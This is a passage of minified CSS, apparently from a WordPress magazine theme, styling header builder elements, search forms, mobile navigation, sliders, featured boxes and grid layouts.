15px}.penci-top-search.pc-builder-element{width:auto}.penci-top-search.pc-builder-element .penci-search-form form.penci-ajax-search{display:block}.pc-button-define-style-2,.penci-builder.penci-builder-button.button-define-style-2,.top-search-classes>.pc-button-define-style-2{color:var(--pcaccent-cl);border-bottom:1px solid var(--pcaccent-cl);padding:0 0 4px;padding-top:0!important;background-color:transparent!important}.pc-button-define-style-3,.penci-builder.penci-builder-button.button-define-style-3,.top-search-classes>.pc-button-define-style-3{padding:10px;background-color:#f2f2f2;color:var(--pcheading-cl);border-bottom:2px solid #dedede}.penci-builder.penci-builder-button.button-define-style-3{padding:7px 15px}.pc-button-define-style-4,.penci-builder.penci-builder-button.button-define-style-4,.top-search-classes>.pc-button-define-style-4{padding:10px;background-color:#f2f2f2;color:var(--pcheading-cl)}.penci-builder.penci-builder-button.button-define-style-4{padding:7px 12px}.penci-builder.penci-builder-button.button-shape-rectangle{border-radius:0}.penci-builder.penci-builder-button.button-shape-circle{border-radius:400px}.penci-builder.penci-builder-button.button-shape-round{border-radius:10px}.pb-header-builder.cart-icon:not(.pc-button-define-customize) .top-search-classes.shoping-cart-icon{margin-right:0;margin-left:0}.top-search-classes.penci-builder-element,.top-search-classes.penci-builder-elements{width:auto}.penci_navbar_mobile .navigation.mobile-menu{width:auto;float:none}.penci-builder-mobile-sidebar-nav{position:fixed;top:0;height:100%;z-index:100001;width:330px;overflow-y:auto;padding:30px 20px 20px;background:#fff;left:0;transition:all .5s;-webkit-transition:all .5s;-moz-transition:all .5s;transform:translateX(-330px);-webkit-transform:translateX(-330px);-moz-transform:translateX(-330px)}.open-mobile-builder-sidebar-nav .penci-builder-mobile-sidebar-nav{left:330px}.penci-builder-mobile-sidebar-nav.mpos-right{left:auto;right:0;transform:translateX(330px);-webkit-transform:translateX(330px);-moz-transform:translateX(330px)}.open-mobile-builder-sidebar-nav .penci-builder-mobile-sidebar-nav.mpos-right{right:330px;left:auto}.close-mobile-menu-builder{position:fixed;visibility:hidden;opacity:0;text-decoration:none;top:0;left:0;font-size:1.4em;color:#313131;padding:10px;height:100%;background:rgba(0,0,0,.8);right:0;z-index:100000;cursor:pointer;transition:all .5s;-webkit-transition:all .5s;-moz-transition:all .5s}.close-mobile-menu-builder.mpos-right{left:auto;right:0}.close-mobile-menu-builder i{display:inline-block;width:24px;height:24px;background-color:#fff;line-height:24px;text-align:center;border-radius:12px;font-size:14px}.open-mobile-builder-sidebar-nav .close-mobile-menu-builder{left:330px;opacity:1;visibility:visible}.close-mobile-menu-builder.mpos-right{right:0;left:0;text-align:right}.open-mobile-builder-sidebar-nav .close-mobile-menu-builder.mpos-right{right:330px;left:0}.pc-builder-menu.pc-dropdown-menu{--pchb-dd-fn:var(--pchead-font);--pchb-dd-fw:var(--pchead-wei);--pchb-dd-lv1:13px;--pchb-dd-lv2:13px;--pchb-dd-tt:uppercase}.pc-builder-menu.pc-dropdown-menu .menu li a{font-family:var(--pchb-dd-fn);font-weight:var(--pchb-dd-fw);font-size:var(--pchb-dd-lv1);text-transform:var(--pchb-dd-tt)}.pc-builder-menu.pc-dropdown-menu .menu li li a{font-size:var(--pchb-dd-lv2)}.penci_navbar_mobile.mobile-sticky{position:fixed;top:0;left:0;right:0;z-index:9999;transition:visibility .1s ease,opacity .1s ease,transform .3s ease;background-color:var(--pcbg-cl)}.penci_navbar_mobile.mobile-sticky .penci_container{display:none;transition:.3s all ease-in-out}.penci_navbar_mobile.mobile-sticky .penci_container.sticky-enable{display:block;opacity:1}.pc-header-element.pc-login-register{position:relative}.widget .pc-widget-searchform button[type=submit]{width:auto}.widget .pc-widget-searchform.search-style-default button[type=submit]{display:none}.penci-builder-element.pc-search-form{max-width:300px;width:100%}.pcwg-widget.penci-builder-element.pc-search-form,.penci-builder-element.pc-search-form-sidebar{max-width:100%;width:100%}.pc-search-form.search-style-icon-button,.pc-search-form.search-style-text-button{position:relative}.pc-search-form.search-style-icon-button .search-input,.pc-search-form.search-style-text-button .search-input{line-height:36px;padding-top:0;padding-bottom:0;padding-right:20px;border-right-width:0}.penci-builder-element.pc-search-form-desktop{--pcs-d-txt-cl:var(--pctext-cl)}.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input{color:var(--pcs-d-txt-cl)}.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input::placeholder{color:var(--pcs-d-txt-cl)}.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input:-ms-input-placeholder{color:var(--pcs-d-txt-cl)}.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input::-ms-input-placeholder{color:var(--pcs-d-txt-cl)}.penci-builder-element.pc-search-form-sidebar{--pcs-s-txt-cl:var(--pctext-cl)}.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input{color:var(--pcs-s-txt-cl)}.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input::placeholder{color:var(--pcs-s-txt-cl)}.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input:-ms-input-placeholder{color:var(--pcs-s-txt-cl)}.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input::-ms-input-placeholder{color:var(--pcs-s-txt-cl)}.pc-search-form.search-style-icon-button .searchsubmit,.pc-search-form.search-style-text-button .searchsubmit{display:block;height:100%;padding:0 15px;background-color:var(--pcaccent-cl);font-weight:var(--pchead-wei);font-family:var(--pchead-font);color:#fff;border:0;transition:.3s all ease-in-out;position:absolute;top:0;right:0;z-index:9;cursor:pointer}.pc-wrapbuilder-header .pc-search-form.search-style-text-button .searchsubmit{text-transform:uppercase}body.rtl .pc-search-form.search-style-icon-button .searchsubmit,body.rtl .pc-search-form.search-style-text-button .searchsubmit{right:auto;left:0}.pc-search-form.search-style-text-button .search-input{padding-right:100px}body.rtl .pc-search-form.search-style-text-button .search-input{padding-right:20px;padding-left:100px;border-right-width:1px;border-left-width:0}.pc-search-form.search-style-icon-button .search-input{padding-right:66px}body.rtl .pc-search-form.search-style-text-button .search-input{padding-left:66px;padding-right:20px;border-right-width:1px;border-left-width:0}.pc-search-form.search-style-icon-button .searchsubmit{font-size:0;line-height:0}.pc-search-form.search-style-icon-button .searchsubmit:before{font-size:16px;line-height:38px;content:"\f108";font-family:penciicon,serif;font-style:normal;font-weight:400;font-variant:normal;text-transform:none;-moz-osx-font-smoothing:grayscale}.pc-search-form.search-style-icon-button .penciicon-magnifiying-glass,.pc-search-form.search-style-text-button .penciicon-magnifiying-glass{display:none}.penci-header-block{width:100%}.pc-header-element.penci-topbar-social a,.pc-header-element.penci-topbar-social-mobile a{color:inherit}.pc-header-element.penci-topbar-social .pclogin-item>a,.pc-header-element.penci-topbar-social-mobile .pclogin-item>a{line-height:unset;display:inline-flex;align-items:center;justify-content:center}.pc-header-element.penci-topbar-social .pclogin-item>a img,.pc-header-element.penci-topbar-social-mobile .pclogin-item>a img{top:auto}.pc-header-element .pctopbar-login-btn .pclogin-sub li a{color:#fff}.pc-header-element .pctopbar-login-btn .pclogin-sub{top:100%}.pc-header-element .pctopbar-login-btn .pclogin-sub li a:hover{color:var(--pcaccent-cl)}.penci_nav_col{display:flex;align-items:center;flex-direction:row;padding-left:10px;padding-right:10px}.penci_nav_col.penci_nav_flexcolumn{flex-direction:column;align-items:initial}.penci_nav_col.penci_nav_flexcolumn.penci_nav_alignleft{align-items:flex-start}.penci_nav_col.penci_nav_flexcolumn.penci_nav_aligncenter{align-items:center}.penci_nav_col.penci_nav_flexcolumn.penci_nav_alignright{align-items:flex-end}.penci_nav_col.penci_content_columns{flex-direction:column}.penci_nav_col>:not(:first-child){margin-left:10px}.penci-header-builder .pcheader-icon>a,.penci-header-builder .penci-menuhbg-toggle,.penci-header-builder .top-search-classes a.cart-contents,.penci-header-builder .top-search-classes>a{height:auto;line-height:unset}.header-search-style-showup .penci-header-builder .show-search,.header-search-style-showup .penci_navbar_mobile .show-search{top:calc(100% + 10px)}.header-search-style-showup .penci_nav_left .show-search{left:0;right:auto}.header-search-style-showup .penci_nav_left .show-search:before{left:5px;right:auto}.container.container-custom{margin-left:auto;margin-right:auto}.admin-bar .penci-builder-mobile-sidebar-nav.penci-menu-hbg{padding-top:30px}.penci-builder-item-wrap>div:not(:last-child){margin-bottom:20px}.penci-header-builder.pchb-boxed-layout.container-1400 .container,.penci-header-builder.pchb-boxed-layout.container-custom .container,.penci-header-builder.pchb-boxed-layout.container-fullwidth .container,.penci-header-builder.pchb-boxed-layout.container-normal .container{max-width:100%}.penci-header-builder.pchb-boxed-layout.container-1400,.penci-header-builder.pchb-boxed-layout.container-custom,.penci-header-builder.pchb-boxed-layout.container-fullwidth,.penci-header-builder.pchb-boxed-layout.container-normal{width:100%;padding-left:0;padding-right:0}.penci-header-builder.pchb-boxed-layout.container-normal{max-width:var(--pcctain)}.penci-header-builder.pchb-boxed-layout.container-fullwidth{max-width:100%}.penci-header-builder.pchb-boxed-layout.container-1400{max-width:var(--pcctain2)}.pc-builder-element .pc-logo img,.pc-builder-element.pc-logo img{max-height:60px}.penci-disable-uppercase{text-transform:none!important}.penci-enable-uppercase{text-transform:uppercase!important}.penci-header-builder .pc-builder-element.penci-menuhbg-wapper{width:auto}.penci-elhb-hbg.penci-menuhbg-wapper{width:auto;float:none;margin:0}.penci-menuhbg-toggle.builder{--pcbd-menuhbg-size:18px;height:auto}.penci-menuhbg-toggle.builder{width:var(--pcbd-menuhbg-size)}.penci-menuhbg-toggle.builder .penci-menuhbg-inner{height:var(--pcbd-menuhbg-size)}.penci-menuhbg-toggle.builder .penci-lines,.penci-menuhbg-wapper{width:var(--pcbd-menuhbg-size)}.penci-menuhbg-toggle.builder .lines-button{top:calc((var(--pcbd-menuhbg-size) - 2px)/ 2)}.penci-menuhbg-toggle.builder .penci-lines:before{top:calc(var(--pcbd-menuhbg-size)/ 2 - 4px)}.penci-menuhbg-toggle.builder .penci-lines:after{top:calc((var(--pcbd-menuhbg-size)/ 2 - 4px) * -1)}.penci-menuhbg-toggle.builder:hover .lines-button:after,.penci-menuhbg-toggle.builder:hover .penci-lines:after,.penci-menuhbg-toggle.builder:hover .penci-lines:before{transform:translateX(calc(var(--pcbd-menuhbg-size) + 10px))}.penci-menuhbg-toggle.builder .lines-button.penci-hover-effect{left:calc((var(--pcbd-menuhbg-size) + 10px) * -1)}.pc-wrapbuilder-header{--pchd-sinput-txt:var(--pctext-cl)}.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input{color:var(--pchd-sinput-txt)}.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input::placeholder{color:var(--pchd-sinput-txt);opacity:1}.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input:-ms-input-placeholder{color:var(--pchd-sinput-txt)}.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input::-ms-input-placeholder{color:var(--pchd-sinput-txt)}#penci-featured-video-bg{height:600px}.overlay-video-click,.penci-video-bg-overlay,.penci-video-overlay-background{position:absolute;z-index:5;top:0;left:0;width:100%;height:100%;background-repeat:no-repeat;background-size:cover;background-position:center center;display:none}.overlay-video-click{display:block;z-index:20}.penci-placeholder-videobg,.penci-video-bg-overlay{z-index:2;display:block}.penci-video-overlay{position:absolute;top:50%;transform:translateY(-50%);-webkit-transform:translateY(-50%);-moz-transform:translateY(-50%);text-align:center;left:20px;right:20px;z-index:10}.penci-video-custom-img,h2.penci-heading-video,p.penci-sub-heading-video{opacity:0;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:1s;-moz-animation-duration:1s;-ms-animation-duration:1s;-o-animation-duration:1s;animation-duration:1s;-webkit-animation-delay:1.5s;-moz-animation-delay:1.5s;-o-animation-delay:1.5s;animation-delay:1.5s}.penci-video-custom-img{margin:0 0 24px 0}.penci-video-custom-img.no-margin-bottom{margin:0}h2.penci-heading-video{color:#fff;font-family:var(--pchead-font);font-weight:var(--pchead-wei);font-size:30px;line-height:1.2em;text-transform:uppercase;margin:0;-webkit-animation-delay:1.8s;-moz-animation-delay:1.8s;-o-animation-delay:1.8s;animation-delay:1.8s}p.penci-sub-heading-video{font-size:16px;line-height:1.3em;margin:15px 0 0;font-style:italic;color:#fff;-webkit-animation-delay:2.1s;-moz-animation-delay:2.1s;-o-animation-delay:2.1s;animation-delay:2.1s}.featured-area.loaded-animation .penci-video-custom-img,.featured-area.loaded-animation h2.penci-heading-video,.featured-area.loaded-animation p.penci-sub-heading-video{-webkit-animation-name:pencifadeInUp;-moz-animation-name:pencifadeInUp;-o-animation-name:pencifadeInUp;animation-name:pencifadeInUp}.featured-area.magazine-slider{width:var(--pcctain);margin-left:auto;margin-right:auto}.penci-magazine-slider.penci-loading{background:#fafafa url(images/loading.gif) no-repeat center center;min-height:506px}.featured-area.loaded-wait .penci-magazine-slider.penci-loading{background:0 0;min-height:0!important}.penci-magazine-slider{margin:0;padding:0;position:relative}.penci-magazine-slider .penci-mag-item{display:none}.penci-magazine-slider ul.mag-wrap{list-style:none;margin:0;display:inline-block;width:100%;vertical-align:top;bottom:0;left:0}.penci-magazine-slider ul.mag-wrap li{overflow:hidden;display:block;float:left;position:relative;width:380px;height:253px}.penci-magazine-slider ul.mag-wrap li.mag-item-1{width:790px;height:506px;border-right:10px solid transparent}.penci-magazine-slider ul.mag-wrap li.mag-item-2{border-bottom:10px solid transparent}.penci-magazine-slider .mag-meta{position:absolute;padding:20px;width:100%;z-index:10;left:0;bottom:0}.penci-magazine-slider .mag-item-1 .mag-meta{padding:30px}.penci-magazine-slider .mag-cat{margin-bottom:4px}.penci-magazine-slider .mag-cat a.penci-cat-name{border-color:#fff;color:#fff}.penci-magazine-slider .mag-cat a.penci-cat-name:after{border-color:#fff}.penci-magazine-slider .mag-cat a.penci-cat-name:hover{text-decoration:none;color:var(--pcaccent-cl)}.penci-magazine-slider .mag-meta h3{line-height:1.3}.penci-magazine-slider .mag-meta h3 a{color:#fff;font-size:16px;text-transform:uppercase;letter-spacing:0}.penci-magazine-slider .mag-item-1 .mag-meta h3 a{font-size:24px}.penci-magazine-slider .mag-meta-child{margin-top:6px}.penci-magazine-slider .mag-item-1 .mag-meta-child{margin-top:7px}.penci-magazine-slider .mag-meta-child span{color:#fff;font-size:12px}.penci-magazine-slider .mag-item-1 .mag-meta-child span{font-size:14px}.penci-magazine-slider .mag-meta-child span:after{content:"";display:inline-block;margin:0 7px 0 10px;width:0;height:8px;border-left:1px solid #fff;opacity:.5}.penci-magazine-slider .mag-item-1 .mag-meta-child span:after{margin:0 8px 0 12px;height:10px}.penci-magazine-slider .mag-meta-child span:last-child:after{content:none;display:none}.penci-magazine-slider .penci-direction-nav a{position:absolute;width:36px;height:36px;display:inline-block;top:50%;margin-top:-18px;font-size:20px;cursor:pointer;outline:0;opacity:0;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;text-align:center;line-height:36px;background:#fff;z-index:12;border-radius:100%;-webkit-border-radius:100%;-moz-border-radius:100%;color:#313131;border:none}.penci-magazine-slider .penci-direction-nav a.penci-prev{left:30px}.penci-magazine-slider .penci-direction-nav a.penci-next{right:30px}.penci-magazine-slider:hover .penci-direction-nav a{opacity:1}.penci-magazine-slider .penci-direction-nav a:hover{background:var(--pcaccent-cl);color:#fff}.penci-magazine-slider .penci-direction-nav a:before{content:none;display:none}.penci-magazine-slider .mag-overlay{background:#000;opacity:.6;position:absolute;left:0;right:0;width:100%;height:100%;z-index:2;background:-moz-linear-gradient(top,transparent 0,#000 100%);background:-webkit-linear-gradient(top,transparent 0,#000 100%);background:-o-linear-gradient(top,transparent 0,#000 100%);background:-ms-linear-gradient(top,transparent 0,#000 100%);background:linear-gradient(to bottom,transparent 0,#000 100%);-webkit-transition:opacity .4s ease 0s;-moz-transition:opacity .4s ease 0s;-o-transition:opacity .4s ease 0s;transition:opacity .4s ease 0s}.penci-magazine-slider ul.mag-wrap .mag-content:hover .mag-overlay{opacity:.8}.penci-magazine-slider.penci-mag3-slider.penci-loading{min-height:387px}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1,.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2{border:none}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li,.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1{width:287px;height:auto}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1 .mag-content,.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-3 .mag-content{height:191px;position:relative}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 .mag-content{height:387px;position:relative}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2{width:586px}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2{margin:0 5px}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1 .mag-content:first-child,.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-3 .mag-content:first-child{margin-bottom:5px}.penci-magazine-slider ul.mag-wrap li .mag-content .mag-img,.penci-magazine-slider.penci-mag1-slider ul.mag-wrap li .mag-content{position:absolute;top:0;left:0;right:0;bottom:0;z-index:1;width:100%;background-repeat:no-repeat;background-position:center center;background-size:cover;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li .mag-content h3 a{font-size:14px;letter-spacing:0}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 .mag-content h3{text-align:center}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 .mag-content h3 a{font-size:16px}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li .mag-content .mag-meta{padding:10px;width:100%}.penci-magazine-slider.penci-mag3-slider .mag-cat{text-align:center}.penci-mag2-carousel{overflow:hidden}.featured-area.magazine-slider-2{height:463px;overflow:hidden}.featured-area.magazine-slider-2.loaded-wait{height:auto;overflow:visible}.penci-mag2-carousel .mag2-item{display:block;float:left;margin:0 1px 0 0;width:700px;height:463px;position:relative}.penci-mag2-carousel .penci-mag2-carousel-content>.mag2-item{margin-right:1px!important}.penci-mag2-carousel .mag2-item.mag2-even{width:346px}.penci-mag2-carousel .mag2-item .mag2-item{width:346px;height:231px;margin:0;position:relative}.penci-mag2-carousel .mag2-item>.mag2-item:first-child{margin-bottom:1px}.mag2-thumbnail,.mag2-thumbnail .mag-img{position:absolute;top:0;left:0;right:0;bottom:0;z-index:1;background-repeat:no-repeat;background-position:center center;background-size:cover;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover}.mag2slider-overlay{position:absolute;top:0;left:0;width:100%;height:100%}.mag2slider-overlay i{display:block;width:50px;height:50px;position:absolute;top:50%;left:50%;margin:-25px 0 0 -25px;border-radius:50%;background:0 0;text-align:center;font:14px/40px FontAwesome;color:rgba(255,255,255,.9);border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;transition:opacity .3s;-webkit-transition:opacity .3s;-moz-transition:opacity .3s;border:2px solid rgba(255,255,255,.9);opacity:0;font-size:18px;z-index:3;line-height:48px}.mag2slider-overlay i.fa-play:before{margin-left:2px}.mag2slider-overlay i.fa-music:before{margin-right:2px}.penci-mag2-carousel .mag2-item .mag2-item .mag2slider-overlay i{width:44px;height:44px;line-height:40px;font-size:17px;margin:-22px 0 0 -22px}.mag2slider-overlay:after{background:#000;position:absolute;top:0;left:0;width:100%;height:100%;z-index:1;transition:opacity .3s;-webkit-transition:opacity .3s;-moz-transition:opacity .3s;opacity:.05;content:""}.mag2-thumbnail:hover .mag2slider-overlay i{opacity:1}.mag2-thumbnail:hover .mag2slider-overlay:after{opacity:.7}.penci-mag2-carousel .mag2-header{position:absolute;padding:17px 20px;width:100%;z-index:8;left:0;bottom:0;text-align:center}.penci-mag2-carousel .mag2-item .mag2-item .mag2-header{padding:17px 20px!important}.penci-mag2-carousel .mag2-header h3 a{font-size:24px;text-transform:uppercase;color:#fff}.penci-mag2-carousel .mag2-item .mag2-item .mag2-header{text-align:left}.penci-mag2-carousel .mag2-item .mag2-item .mag2-header h3 a{font-size:16px;letter-spacing:0}.penci-mag2-carousel .cat>a.penci-cat-name{color:#fff}.penci-mag2-carousel .cat>a.penci-cat-name:after{border-color:#fff}@media only screen and (min-width:779px){.penci-mag2-carousel .mag2-thumbnail img{transform:none!important;-webkit-transform:none!important}.penci-mag2-carousel .mag2-header{width:100%!important}}@media only screen and (max-width:778px){.mag2slider-overlay i{display:none}.penci-mag2-carousel .cat.mag-cat{display:none}.penci-mag2-carousel .mag2-header h3 a{font-size:18px}.penci-mag2-carousel .mag2-header{padding-right:15px;text-align:left}}.container.home-featured-boxes{display:table;margin-top:calc(30px - var(--pchd-mg));margin-bottom:30px}.container.home-featured-boxes-vc{width:100%}.home-featured-boxes .penci-image-holder:before{padding-top:66.75%}@media only screen and (min-width:961px){.boxes-size-horizontal .homepage-featured-boxes.boxes-4-columns .penci-image-holder:before{padding-top:70.37%}}.home-featured-boxes.boxes-size-square .penci-image-holder:before{padding-top:100%}.home-featured-boxes.boxes-size-vertical .penci-image-holder:before{padding-top:135.4%}.home-featured-boxes-vc{overflow:hidden}ul.homepage-featured-boxes{list-style:none;margin-left:-15px;margin-right:-15px;padding:0!important}.post-entry ul.homepage-featured-boxes li,ul.homepage-featured-boxes li{width:33.3333%;float:left;display:inline-block;padding:0 15px;margin-bottom:30px}ul.homepage-featured-boxes li .penci-fea-in{position:relative;overflow:hidden}ul.homepage-featured-boxes li .penci-fea-in:after,ul.homepage-featured-boxes li .penci-fea-in:before{position:absolute;left:5px;right:5px;top:5px;bottom:5px;content:"";opacity:0;-webkit-transition:opacity .3s,-webkit-transform .4s;transition:opacity .3s,transform .4s;z-index:5}ul.homepage-featured-boxes li .penci-fea-in.boxes-style-2:after,ul.homepage-featured-boxes li .penci-fea-in.boxes-style-2:before{content:none!important;display:none!important}ul.homepage-featured-boxes li .penci-fea-in:before{border-top:1px solid #fff;border-bottom:1px solid #fff;-webkit-transform:scale(0,1);transform:scale(0,1)}ul.homepage-featured-boxes li .penci-fea-in:after{border-right:1px solid #fff;border-left:1px solid #fff;-webkit-transform:scale(1,0);transform:scale(1,0)}ul.homepage-featured-boxes li .penci-fea-in:hover:after,ul.homepage-featured-boxes li .penci-fea-in:hover:before{opacity:1;-webkit-transform:scale(1);transform:scale(1)}ul.homepage-featured-boxes .penci-fea-in .fea-box-img{position:static;top:0;left:0;width:100%;height:100%;display:block;z-index:1;background-size:cover;background-repeat:no-repeat;background-position:center center}ul.homepage-featured-boxes .penci-fea-in .fea-box-img:after{top:0;left:0;width:100%;height:100%;position:absolute;z-index:2;content:"";background:#000;transition:opacity .25s;-webkit-transition:opacity .25s;-moz-transition:opacity .25s;opacity:0}ul.homepage-featured-boxes .penci-fea-in:hover .fea-box-img:after{opacity:.3}ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 .fea-box-img{right:0;bottom:0}ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 .fea-box-img:after{content:none!important;display:none!important}ul.homepage-featured-boxes .penci-fea-in h4{position:absolute;width:100%;left:0;top:50%;text-align:center;z-index:5;font-style:italic;letter-spacing:0;font-family:var(--pcbody-font);font-weight:400;padding:5px 20px;margin-top:-25px}ul.homepage-featured-boxes .penci-fea-in h4>span{display:inline-block;position:relative}ul.homepage-featured-boxes .penci-fea-in h4 span span{display:inline-block;background:#fff;color:#313131;padding:0 15px;position:relative;min-width:120px;height:40px;line-height:40px;white-space:nowrap;-webkit-transition:all .3s ease 0s;-moz-transition:all .3s ease 0s;-o-transition:all .3s ease 0s;transition:all .3s ease 0s;font-style:normal;font-size:14px;font-weight:400}ul.homepage-featured-boxes .penci-fea-in h4 span span:before{top:-5px;left:-5px;right:-5px;bottom:-5px;content:"";display:block;background:0 0;position:absolute;border:1px solid #fff}ul.homepage-featured-boxes .penci-fea-in:hover h4 span{color:var(--pcaccent-cl)}ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4{background:#fff;padding:0 20px;margin-top:-20px}ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4:before{top:-5px;left:0;right:0;width:100%;bottom:-5px;content:"";display:block;background:0 0;position:absolute;border-top:1px solid #fff;border-bottom:1px solid #fff;-webkit-transition:all .3s ease 0s;-moz-transition:all .3s ease 0s;-o-transition:all .3s ease 0s;transition:all .3s ease 0s}ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4 span{background:0 0}ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4 span:before{content:none;display:none}.home-featured-boxes-sc .penci-fea-in.boxes-style-4 .fea-box-img:after,.home-featured-boxes-sc .penci-fea-in.boxes-style-4 h4 span span:before,ul.homepage-featured-boxes .penci-fea-in.boxes-style-3 .fea-box-img:after,ul.homepage-featured-boxes .penci-fea-in.boxes-style-3 h4 span span:before{content:none}.home-featured-boxes-sc li .penci-fea-in.boxes-style-4:after,.home-featured-boxes-sc li .penci-fea-in.boxes-style-4:before,ul.homepage-featured-boxes li .penci-fea-in.boxes-style-3:after,ul.homepage-featured-boxes li .penci-fea-in.boxes-style-3:before{opacity:.4;-webkit-transition:all .4s;transition:all .4s;z-index:5;transform:none;-webkit-transform:none;left:10px;right:10px;top:10px;bottom:10px}.home-featured-boxes-sc li .penci-fea-in.boxes-style-4:hover:after,.home-featured-boxes-sc li .penci-fea-in.boxes-style-4:hover:before,ul.homepage-featured-boxes li .penci-fea-in.boxes-style-3:hover:after,ul.homepage-featured-boxes li .penci-fea-in.boxes-style-3:hover:before{opacity:1}ul.homepage-featured-boxes .penci-fea-in.boxes-style-3 .fea-box-img{transition:all .4s ease-in-out;-webkit-transition:all .4s ease-in-out;-moz-transition:all .4s ease-in-out}ul.homepage-featured-boxes .penci-fea-in.boxes-style-3:hover .fea-box-img{transform:scale(1.05);-webkit-transform:scale(1.05);-moz-transform:scale(1.05)}ul.homepage-featured-boxes .penci-fea-in.boxes-style-3 h4 span span{text-transform:uppercase;font-size:12px;font-family:var(--pchead-font)}.boxes-weight-bold ul.homepage-featured-boxes .penci-fea-in h4 span span{font-weight:700}.home-featured-boxes-sc .penci-fea-in.boxes-style-4:hover .fea-box-img:after{opacity:0}.home-featured-boxes-sc li.boxes-no-text .penci-fea-in.boxes-style-4:after,.home-featured-boxes-sc li.boxes-no-text .penci-fea-in.boxes-style-4:before{border:0}ul.homepage-featured-boxes.boxes-4-columns li{width:25%}.home-featured-boxes-sc ul.homepage-featured-boxes.boxes-2-columns li{width:50%}.home-featured-boxes-sc ul.homepage-featured-boxes.boxes-1-column li{width:100%;margin-bottom:20px}.penci-biggrid{--pcgap:4px}.penci-biggrid-wrapper{margin-bottom:20px}.biggrid-archive-wrapper.penci-biggrid-wrapper{margin-bottom:35px}.penci-biggrid-inner{overflow:hidden;display:block}.penci-biggrid-wrapper .pcbg-content-inner{z-index:5}.biggrid-archive-wrapper.container.two-sidebar{display:block}.penci-dflex{display:flex;display:-webkit-flex;display:-ms-flexbox;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;align-items:flex-start}.penci-bgstyle-1 .penci-dflex{margin-left:-10px;margin-right:-10px;width:calc(100% + 20px)}.penci-bgstyle-1 .penci-dflex .penci-bgitem{padding:0 10px;margin-bottom:20px}.pcsl-col-1 .pcsl-item,.penci-grid-col-1 .penci-dflex .penci-bgitem{flex:0 0 100%}.pcsl-col-2 .pcsl-item,.penci-grid-col-2 .penci-dflex .penci-bgitem{flex:0 0 50%}.pcsl-col-3 .pcsl-item,.penci-grid-col-3 .penci-dflex .penci-bgitem{flex:0 0 33.33333%}.pcsl-col-4 .pcsl-item,.penci-grid-col-4 .penci-dflex .penci-bgitem{flex:0 0 25%}.pcsl-col-5 .pcsl-item,.penci-grid-col-5 .penci-dflex .penci-bgitem{flex:0 0 20%}.pcsl-col-6 .pcsl-item,.penci-grid-col-6 .penci-dflex .penci-bgitem{flex:0 0 16.66667%}.pcbg-thumb,.penci-bgitin{position:relative;overflow:hidden}.pcbg-thumb .pcbg-bgoverlay.active-overlay{z-index:2}.pcbg-bgoverlay.active-overlay{background:-webkit-linear-gradient(to bottom,rgba(255,255,255,0) 60%,#000 100%);background:-o-linear-gradient(to bottom,rgba(255,255,255,0) 60%,#000 100%);background:-ms-linear-gradient(to bottom,rgba(255,255,255,0) 60%,#000 100%);background:linear-gradient(to bottom,rgba(255,255,255,0) 60%,#000 100%);opacity:.7}.penci-bgitem:hover .pcbg-bgoverlay.active-overlay{opacity:.9}.penci-bgmain{display:flex;flex-direction:column;position:relative}.pcbg-bgoverlay,.pcbg-bgoverlaytext,.pcbg-cbgoverlap,.pcbg-content{position:absolute;left:0;right:0;top:0;bottom:0;width:100%;height:100%;display:block}.pcbg-cbgoverlap{z-index:100}.penci-bgrid-content-above .pcbg-content,.penci-bgrid-content-below .pcbg-content{position:static}.penci-bgrid-content-above .penci-bgmain{flex-direction:column-reverse}.pcbg-bgoverlay,.pcbg-bgoverlaytext{transition:opacity .3s}.pcbg-bgoverlaytext{z-index:-1}.pcbg-mask-title .pcbg-content-inner .pcbg-above{margin-bottom:5px}.penci-bgrid-based-custom.pcbg-mask-title .pcbg-content-inner .pcbg-above{margin-bottom:9px}.pcbg-mask-title .pcbg-content-inner .pcbg-meta,.post-entry .pcbg-mask-title .pcbg-content-inner .pcbg-meta{margin-top:13px}.pcbg-mask-subtitle .cat>a.penci-cat-name:after{content:none;display:none}.penci-bgrid-based-post.pcbg-mask-subtitle .cat>a.penci-cat-name{display:inline-block;padding:1px 